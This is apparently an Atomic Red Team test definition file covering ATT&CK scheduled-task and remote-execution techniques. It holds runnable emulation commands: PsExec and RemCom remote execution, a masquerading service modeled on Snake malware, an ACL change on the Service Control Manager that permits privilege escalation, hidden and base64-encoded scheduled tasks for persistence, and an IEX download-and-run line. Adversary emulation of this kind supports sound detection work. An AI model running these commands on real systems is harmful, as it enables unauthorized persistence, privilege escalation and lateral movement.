          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force
      executor:
        command: "cmd.exe /c \"wmic \tcsproduct \tget UUID\" \ncmd.exe /c \"fsutil
          behavior \tset SymlinkEvaluation R2L:1\" \ncmd.exe /c \"fsutil behavior
          set \tSymlinkEvaluation R2R:1\"\nreg    add    HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters
          \   /v MaxMpxCt /d 65535 /t REG_DWORD /f      \ncopy \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\"
          $env:temp\ncmd.exe /c \"$env:temp\\psexec.exe  -accepteula  \\\\#{targethost}
          cmd.exe  /c echo \"--access-token\"\"\n"
        cleanup_command: "reg delete HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters
          /v MaxMpxCt /f\ncmd.exe /c \"fsutil behavior set SymlinkEvaluation R2L:0\"
          \ncmd.exe /c \"fsutil behavior set SymlinkEvaluation R2R:0\"\nrm $env:temp\\psexec.exe\n"
        name: powershell
        elevation_required: true
    - name: Use RemCom to execute a command on a remote host
      auto_generated_guid: a5d8cdeb-be90-43a9-8b26-cc618deac1e0
      description: |
        Requires having RemCom installed, path to RemCom is one of the input input_arguments
        Will start a process on a remote host.
        Upon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).
      supported_platforms:
      - windows
      input_arguments:
        remote_host:
          description: Remote hostname or IP address
          type: string
          default: localhost
        user_name:
          description: Username
          type: string
          default: Administrator
        password:
          description: Password
          type: string
          default: P@ssw0rd1
      dependency_executor_name: powershell
      dependencies:
      - description: 'RemCom tool must exist on disk in the ExternalPayloads folder

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe")
          { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/kavika13/RemCom/raw/master/bin/Release/RemCom.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\remcom.exe" \\#{remote_host}
          /user:#{user_name} /pwd:#{password} cmd.exe

          '
        name: command_prompt
    - name: Snake Malware Service Create
      auto_generated_guid: b8db787e-dbea-493c-96cb-9272296ddc49
      description: "The following Atomic Test will create a new service named WerFaultSvc
        with a binary path of WinSxS\\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\\WerFault.exe.\nThis
        was recently seen in the Snake Malware report. \nUpon execution, sc.exe will
        create a new service named WerFaultSvc with a bin path \\WinSxS\\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\\WerFault.exe
        and a display name of WerFault Service.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)
        \ \n"
      supported_platforms:
      - windows
      executor:
        command: 'sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe"
          DisplayName= "WerFault Service" start= auto

          '
        cleanup_command: 'sc.exe delete "WerFaultSvc"

          '
        name: command_prompt
        elevation_required: true
    - name: Modifying ACL of Service Control Manager via SDET
      auto_generated_guid: bf07f520-3909-4ef5-aa22-877a50f2f77b
      description: "Modify permissions of Service Control Manager via SDSET. This
        allows any administrative user to escalate privilege and create a service
        with SYSTEM level privileges.Restart is required.\n[Blog](https://0xv1n.github.io/posts/scmanager/)
        \ \n"
      supported_platforms:
      - windows
      executor:
        command: 'sc.exe sdset scmanager D:(A;;KA;;;WD)

          '
        name: command_prompt
        elevation_required: true
    - name: Pipe Creation - PsExec Tool Execution From Suspicious Locations
      auto_generated_guid: 004a5d68-627b-452d-af3d-43bd1fc75a3b
      description: Requires PsExec tool installed. BlackCat Ransomeware tried to propagate
        by creating pipe using PsExec process executing from suspicious locations
        (In the particular case the legitimate PsExec executable is embedded within
        the Windows variant and is dropped in the victim’s %TEMP% directory). pon
        successful execution, PsExec will be executed from suspicious location and
        create a new pipe to execute CMD.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'PsExec tool from Sysinternals must exist in the ''\Users\Public\Temp\''
          directory

          '
        prereq_command: 'if (Get-ChildItem -Path C:\ -Include *psexec* -File -Recurse
          -ErrorAction SilentlyContinue) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "C:\Users\Public\Temp\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "C:\Users\Public\Temp\PSTools.zip"
          Expand-Archive "C:\Users\Public\Temp\PsTools.zip" "C:\Users\Public\Temp\" -Force
      executor:
        command: "cd C:\\Users\\Public\\Temp\\ \n.\\PsExec.exe -i -s cmd  -accepteula"
        name: powershell
        elevation_required: true
  T1053.002:
    technique:
      modified: '2023-11-15T14:38:10.876Z'
      name: 'Scheduled Task/Job: At'
      description: |-
        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.

        On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)

        Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).

        In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor process execution from the svchost.exe in Windows
        10 and the Windows Task Scheduler taskeng.exe for older versions of Windows.
        (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used
        for persistence, then the adversary is likely to remove the task when the
        action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks
        for change entries related to scheduled tasks that do not correlate with known
        software, patch cycles, etc.\n\nConfigure event logging for scheduled task
        creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\"
        setting within the event logging service. (Citation: TechNet Forum Scheduled
        Task Operational Setting) Several events will then be logged on scheduled
        task activity, including: (Citation: TechNet Scheduled Task Events)(Citation:
        Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server
        2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008
        R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID
        141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled
        task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task
        created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n*
        Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools
        such as Sysinternals Autoruns may also be used to detect system changes that
        could be attempts at persistence, including listing current scheduled tasks.
        (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features
        may interact directly with the Windows API to perform these functions outside
        of typical system utilities. Tasks may also be created through Windows system
        management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional
        logging may need to be configured to gather the appropriate data.\n\nIn Linux
        and macOS environments, monitor scheduled task creation using command-line
        invocation. Legitimate scheduled tasks may be created during installation
        of new software or through system administration functions. Look for changes
        to tasks that do not correlate with known software, patch cycles, etc. \n\nReview
        all jobs using the <code>atq</code> command and ensure IP addresses stored
        in the <code>SSH_CONNECTION</code> and <code>SSH_CLIENT</code> variables,
        machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110)
        jobs are stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland
        linux at 2019)\n\nSuspicious program execution through scheduled tasks may
        show up as outlier processes that have not been seen before when compared
        against historical data. Data and events should not be viewed in isolation,
        but as part of a chain of behavior that could lead to other activities, such
        as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011),
        learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007),
        and [Lateral Movement](https://attack.mitre.org/tactics/TA0008)."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
      created: '2019-11-27T13:52:45.853Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/002
        external_id: T1053.002
      - source_name: rowland linux at 2019
        description: Craig Rowland. (2019, July 25). Getting an Attacker IP Address
          from a Malicious Linux At Job. Retrieved October 15, 2021.
        url: https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/
      - source_name: GTFObins at
        description: Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved
          September 28, 2021.
        url: https://gtfobins.github.io/gtfobins/at/
      - source_name: Linux at
        description: IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved
          February 25, 2022.
        url: https://man7.org/linux/man-pages/man1/at.1p.html
      - source_name: Twitter Leoloobeek Scheduled Task
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        url: https://twitter.com/leoloobeek/status/939248813465853953
      - source_name: Microsoft Scheduled Task Events Win10
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
      - source_name: TechNet Scheduled Task Events
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        url: https://technet.microsoft.com/library/dd315590.aspx
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: TechNet Forum Scheduled Task Operational Setting
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.002
    atomic_tests:
    - name: At.exe Scheduled task
      auto_generated_guid: 4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8
      description: |
        Executes cmd.exe
        Note: deprecated in Windows 8+

        Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: false
        command: 'at 13:20 /interactive cmd

          '
    - name: At - Schedule a job
      auto_generated_guid: 7266d898-ac82-4ec0-97c7-436075d0d08e
      description: 'This test submits a command to be run in the future by the `at`
        daemon.

        '
      supported_platforms:
      - linux
      input_arguments:
        time_spec:
          description: Time specification of when the command should run
          type: string
          default: now + 1 minute
        at_command:
          description: The command to be run
          type: string
          default: echo Hello from Atomic Red Team
      dependency_executor_name: sh
      dependencies:
      - description: 'The `at` and `atd` executables must exist in the PATH

          '
        prereq_command: 'if [ "$(uname)" = ''FreeBSD'' ]; then which at; else which
          at && which atd; fi;

          '
        get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found
          in the PATH (Package name: `at`)''

          '
      - description: 'The `atd` daemon must be running

          '
        prereq_command: 'if [ $(uname) = ''Linux'' ]; then systemctl status atd ||
          service atd status; fi;

          '
        get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service
          atd start` ; systemd: `systemctl start atd`)''

          '
      executor:
        name: sh
        elevation_required: false
        command: 'echo "#{at_command}" | at #{time_spec}'
persistence:
  T1053.005:
    technique:
      modified: '2023-11-15T14:33:53.354Z'
      name: 'Scheduled Task/Job: Scheduled Task'
      description: "Adversaries may abuse the Windows Task Scheduler to perform task
        scheduling for initial or recurring execution of malicious code. There are
        multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111)
        utility can be run directly on the command line, or the Task Scheduler can
        be opened through the GUI within the Administrator Tools section of the Control
        Panel. In some cases, adversaries have used a .NET wrapper for the Windows
        Task Scheduler, and alternatively, adversaries have used the Windows netapi32
        library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110)
        utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)),
        though <code>at.exe</code> can not access tasks created with <code>schtasks</code>
        or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute
        programs at system startup or on a scheduled basis for persistence. The Windows
        Task Scheduler can also be abused to conduct remote Execution as part of Lateral
        Movement and/or to run a process under the context of a specified account
        (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218),
        adversaries have also abused the Windows Task Scheduler to potentially mask
        one-time execution under signed/trusted system processes.(Citation: ProofPoint
        Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide
        Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible
        to defender tools and manual queries used to enumerate tasks. Specifically,
        an adversary may hide a task from `schtasks /query` and the Task Scheduler
        by deleting the associated Security Descriptor (SD) registry value (where
        deletion of this value must be completed using SYSTEM permissions).(Citation:
        SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate
        methods to hide tasks, such as altering the metadata (e.g., `Index` value)
        within associated registry keys.(Citation: Defending Against Scheduled Task
        Attacks in Windows Environments) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Andrew Northern, @ex_raritas
      - Bryan Campbell, @bry_campbell
      - Zachary Abzug, @ZackDoesML
      - Selena Larson, @selenalarson
      - Sittikorn Sangrattanapitak
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.

        Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)

        * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
        * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
        * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
        * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
        * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
        * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)

        Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Flow'
      - 'Scheduled Job: Scheduled Job Creation'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
      created: '2019-11-27T14:58:00.429Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/005
        external_id: T1053.005
      - source_name: ProofPoint Serpent
        description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New
          Backdoor Targets French Entities with Unique Attack Chain. Retrieved April
          11, 2022.
        url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain
      - source_name: Defending Against Scheduled Task Attacks in Windows Environments
        description: Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled
          Tasks. Retrieved July 5, 2022.
        url: https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments
      - source_name: Twitter Leoloobeek Scheduled Task
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        url: https://twitter.com/leoloobeek/status/939248813465853953
      - source_name: Tarrask scheduled task
        description: Microsoft Threat Intelligence Team & Detection and Response Team
          . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion.
          Retrieved June 1, 2022.
        url: https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
      - source_name: Microsoft Scheduled Task Events Win10
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
      - source_name: TechNet Scheduled Task Events
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        url: https://technet.microsoft.com/library/dd315590.aspx
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: TechNet Forum Scheduled Task Operational Setting
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
      - source_name: SigmaHQ
        description: Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule
          Task - Registry. Retrieved June 1, 2022.
        url: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.005
    atomic_tests:
    - name: Scheduled Task Startup Script
      auto_generated_guid: fec27f65-db86-4c2d-b66c-61945aee87c2
      description: |
        Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
        the tasks, open the Task Scheduler and look in the Active Tasks pane.
      supported_platforms:
      - windows
      executor:
        command: |
          schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
          schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
        cleanup_command: |
          schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1
          schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Scheduled task Local
      auto_generated_guid: 42f53695-ad4a-4546-abb6-7d837f644a71
      description: 'Upon successful execution, cmd.exe will create a scheduled task
        to spawn cmd.exe at 20:10.

        '
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: string
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
          type: string
          default: '20:10'
      executor:
        name: command_prompt
        elevation_required: false
        command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}

          '
        cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1

          '
    - name: Scheduled task Remote
      auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd
      description: |
        Create a task on a remote system.
        Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: string
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
          type: string
          default: '20:10'
        target:
          description: Target
          type: string
          default: localhost
        user_name:
          description: 'Username to authenticate with, format: DOMAIN\User'
          type: string
          default: DOMAIN\user
        password:
          description: Password to authenticate with
          type: string
          default: At0micStrong
      executor:
        name: command_prompt
        elevation_required: true
        command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
          "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}

          '
        cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password}
          /TN "Atomic task" /F >nul 2>&1

          '
    - name: Powershell Cmdlet Scheduled Task
      auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd
      description: |
        Create an atomic scheduled task that leverages native powershell cmdlets.

        Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Action = New-ScheduledTaskAction -Execute "calc.exe"
          $Trigger = New-ScheduledTaskTrigger -AtLogon
          $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
          $Set = New-ScheduledTaskSettingsSet
          $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
          Register-ScheduledTask AtomicTask -InputObject $object
        cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false
          >$null 2>&1

          '
    - name: Task Scheduler via VBA
      auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3
      description: |
        This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
        30 - 40 seconds after this module has run
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\"
          -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n"
        name: powershell
        cleanup_command: 'Unregister-ScheduledTask -TaskName "Run Notepad" -Confirm:$false

          '
    - name: WMI Invoke-CimMethod Scheduled Task
      auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b
      description: 'Create an scheduled task that executes notepad.exe after user
        login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing
        as Register-ScheduledTask cmdlet behind the scenes.

        '
      supported_platforms:
      - windows
      input_arguments:
        xml_path:
          description: path of vbs to use when creating masquerading files
          type: path
          default: PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml
      dependency_executor_name: powershell
      dependencies:
      - description: 'File to copy must exist on disk at specified location (#{xml_path})

          '
        prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_WMI.xml" -OutFile "#{xml_path}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          $xml = [System.IO.File]::ReadAllText("#{xml_path}")
          Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
        cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false
          >$null 2>&1

          '
    - name: Scheduled Task Executing Base64 Encoded Commands From Registry
      auto_generated_guid: e895677d-4f06-49ab-91b6-ae3742d0a2ba
      description: "A Base64 Encoded command will be stored in the registry (ping
        127.0.0.1) and then a scheduled task will be created.\nThe scheduled task
        will launch powershell to decode and run the command in the registry daily.\nThis
        is a persistence mechanism recently seen in use by Qakbot.  \n\n[Additiona
        Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n"
      supported_platforms:
      - windows
      input_arguments:
        time:
          description: Daily scheduled task execution time
          type: string
          default: '07:45'
      executor:
        command: |
          reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
          schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
        cleanup_command: |
          schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1
          reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
        name: command_prompt
    - name: Import XML Schedule Task with Hidden Attribute
      auto_generated_guid: cd925593-fbb4-486d-8def-16cbdf944bf4
      description: "Create an scheduled task that executes calc.exe after user login
        from XML that contains hidden setting attribute. \nThis technique was seen
        several times in tricbot malware and also with the targetted attack campaigne
        the industroyer2.\n"
      supported_platforms:
      - windows
      input_arguments:
        xml_path:
          description: path of vbs to use when creating masquerading files
          type: path
          default: PathToAtomicsFolder\T1053.005\src\T1053_05_SCTASK_HIDDEN_ATTRIB.xml
      dependency_executor_name: powershell
      dependencies:
      - description: 'File to copy must exist on disk at specified location (#{xml_path})

          '
        prereq_command: 'if (Test-Path "#{xml_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_SCTASK_HIDDEN_ATTRIB.xml" -OutFile "#{xml_path}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          $xml = [System.IO.File]::ReadAllText("#{xml_path}")
          Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
        cleanup_command: 'Unregister-ScheduledTask -TaskName "atomic red team" -confirm:$false
          >$null 2>&1

          '
